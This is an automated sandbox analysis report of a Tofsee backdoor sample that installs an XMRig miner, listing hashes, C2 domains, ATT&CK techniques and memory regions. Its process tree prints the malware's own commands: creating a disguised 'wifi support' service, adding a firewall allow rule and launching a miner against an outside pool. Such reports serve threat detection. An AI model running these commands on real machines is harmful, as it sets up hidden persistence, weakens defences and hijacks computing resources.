Analysis

  • max time kernel
    149s
  • max time network
    156s
  • platform
    windows7_x64
  • resource
    win7-20220812-en
  • resource tags

    arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
  • submitted
    30-11-2022 05:41

General

  • Target

    7d3519a3112bac6d47e4a28afa93765ad0fe109d3e203f1f07dfcf8fb84b2396.exe

  • Size

    146KB

  • MD5

    edeb8cf6ad50b2189148305da1711683

  • SHA1

    a5843da9541016d02e3daf537a3781c9dac0716c

  • SHA256

    7d3519a3112bac6d47e4a28afa93765ad0fe109d3e203f1f07dfcf8fb84b2396

  • SHA512

    8cf6653627e3dcf78d45d12edd93ed27fc052534d4731c6695e4cc6ce7d271aa7f02a94ea5b70c8783c62c4bf4d334681b19213aede987f597558be0dd8be8fa

  • SSDEEP

    3072:AVt0N0vO/6B9v5qJO1POmehbsM6FGUuBi:G9O/6BKJOBe7c78

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\7d3519a3112bac6d47e4a28afa93765ad0fe109d3e203f1f07dfcf8fb84b2396.exe
    "C:\Users\Admin\AppData\Local\Temp\7d3519a3112bac6d47e4a28afa93765ad0fe109d3e203f1f07dfcf8fb84b2396.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1368
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\azwdlhwx\
      2⤵
        PID:912
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\ntgbuboj.exe" C:\Windows\SysWOW64\azwdlhwx\
        2⤵
          PID:1100
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create azwdlhwx binPath= "C:\Windows\SysWOW64\azwdlhwx\ntgbuboj.exe /d\"C:\Users\Admin\AppData\Local\Temp\7d3519a3112bac6d47e4a28afa93765ad0fe109d3e203f1f07dfcf8fb84b2396.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:1224
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description azwdlhwx "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:1088
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start azwdlhwx
          2⤵
          • Launches sc.exe
          PID:1468
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:376
      • C:\Windows\SysWOW64\azwdlhwx\ntgbuboj.exe
        C:\Windows\SysWOW64\azwdlhwx\ntgbuboj.exe /d"C:\Users\Admin\AppData\Local\Temp\7d3519a3112bac6d47e4a28afa93765ad0fe109d3e203f1f07dfcf8fb84b2396.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:1928
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:1420
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1072

      Network

      MITRE ATT&CK Matrix ATT&CK v6

      Persistence

      New Service

      1
      T1050

      Modify Existing Service

      1
      T1031

      Registry Run Keys / Startup Folder

      1
      T1060

      Privilege Escalation

      New Service

      1
      T1050

      Defense Evasion

      Disabling Security Tools

      1
      T1089

      Modify Registry

      2
      T1112

      Discovery

      System Information Discovery

      1
      T1082

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\ntgbuboj.exe
        Filesize

        12.5MB

        MD5

        1f7cf6193caee6aa48cb216123bbf897

        SHA1

        926e7972d78771eb0358614138a39393f494312e

        SHA256

        067a4567dd2ae28b396f9bddd6e596379f38762d2006ac677d220084e40a47e7

        SHA512

        718dbd29d4c1600ab096705297a8a0b964e24befc082e1d682163f7146030fcb9e44d585e90e5931695875b4469adef9a812eabb6a7979429753c4ac122b9c6c

      • C:\Windows\SysWOW64\azwdlhwx\ntgbuboj.exe
        Filesize

        12.5MB

        MD5

        1f7cf6193caee6aa48cb216123bbf897

        SHA1

        926e7972d78771eb0358614138a39393f494312e

        SHA256

        067a4567dd2ae28b396f9bddd6e596379f38762d2006ac677d220084e40a47e7

        SHA512

        718dbd29d4c1600ab096705297a8a0b964e24befc082e1d682163f7146030fcb9e44d585e90e5931695875b4469adef9a812eabb6a7979429753c4ac122b9c6c

      • memory/376-65-0x0000000000000000-mapping.dmp
      • memory/912-57-0x0000000000000000-mapping.dmp
      • memory/1072-107-0x000000000018259C-mapping.dmp
      • memory/1072-102-0x00000000000F0000-0x00000000001E1000-memory.dmp
        Filesize

        964KB

      • memory/1072-100-0x00000000000F0000-0x00000000001E1000-memory.dmp
        Filesize

        964KB

      • memory/1088-62-0x0000000000000000-mapping.dmp
      • memory/1100-59-0x0000000000000000-mapping.dmp
      • memory/1224-61-0x0000000000000000-mapping.dmp
      • memory/1368-68-0x0000000000400000-0x0000000000AD6000-memory.dmp
        Filesize

        6.8MB

      • memory/1368-58-0x0000000000400000-0x0000000000AD6000-memory.dmp
        Filesize

        6.8MB

      • memory/1368-67-0x0000000000240000-0x0000000000253000-memory.dmp
        Filesize

        76KB

      • memory/1368-66-0x0000000000C0B000-0x0000000000C1C000-memory.dmp
        Filesize

        68KB

      • memory/1368-54-0x0000000000C0B000-0x0000000000C1C000-memory.dmp
        Filesize

        68KB

      • memory/1368-55-0x0000000000240000-0x0000000000253000-memory.dmp
        Filesize

        76KB

      • memory/1368-56-0x0000000076071000-0x0000000076073000-memory.dmp
        Filesize

        8KB

      • memory/1420-81-0x0000000001A20000-0x0000000001C2F000-memory.dmp
        Filesize

        2.1MB

      • memory/1420-99-0x0000000000080000-0x0000000000095000-memory.dmp
        Filesize

        84KB

      • memory/1420-73-0x0000000000089A6B-mapping.dmp
      • memory/1420-79-0x0000000000080000-0x0000000000095000-memory.dmp
        Filesize

        84KB

      • memory/1420-72-0x0000000000080000-0x0000000000095000-memory.dmp
        Filesize

        84KB

      • memory/1420-84-0x00000000000A0000-0x00000000000A6000-memory.dmp
        Filesize

        24KB

      • memory/1420-87-0x00000000000B0000-0x00000000000C0000-memory.dmp
        Filesize

        64KB

      • memory/1420-90-0x00000000000C0000-0x00000000000C5000-memory.dmp
        Filesize

        20KB

      • memory/1420-93-0x0000000005520000-0x000000000592B000-memory.dmp
        Filesize

        4.0MB

      • memory/1420-96-0x0000000000110000-0x0000000000117000-memory.dmp
        Filesize

        28KB

      • memory/1420-70-0x0000000000080000-0x0000000000095000-memory.dmp
        Filesize

        84KB

      • memory/1468-63-0x0000000000000000-mapping.dmp
      • memory/1928-75-0x0000000000C7B000-0x0000000000C8B000-memory.dmp
        Filesize

        64KB

      • memory/1928-78-0x0000000000400000-0x0000000000AD6000-memory.dmp
        Filesize

        6.8MB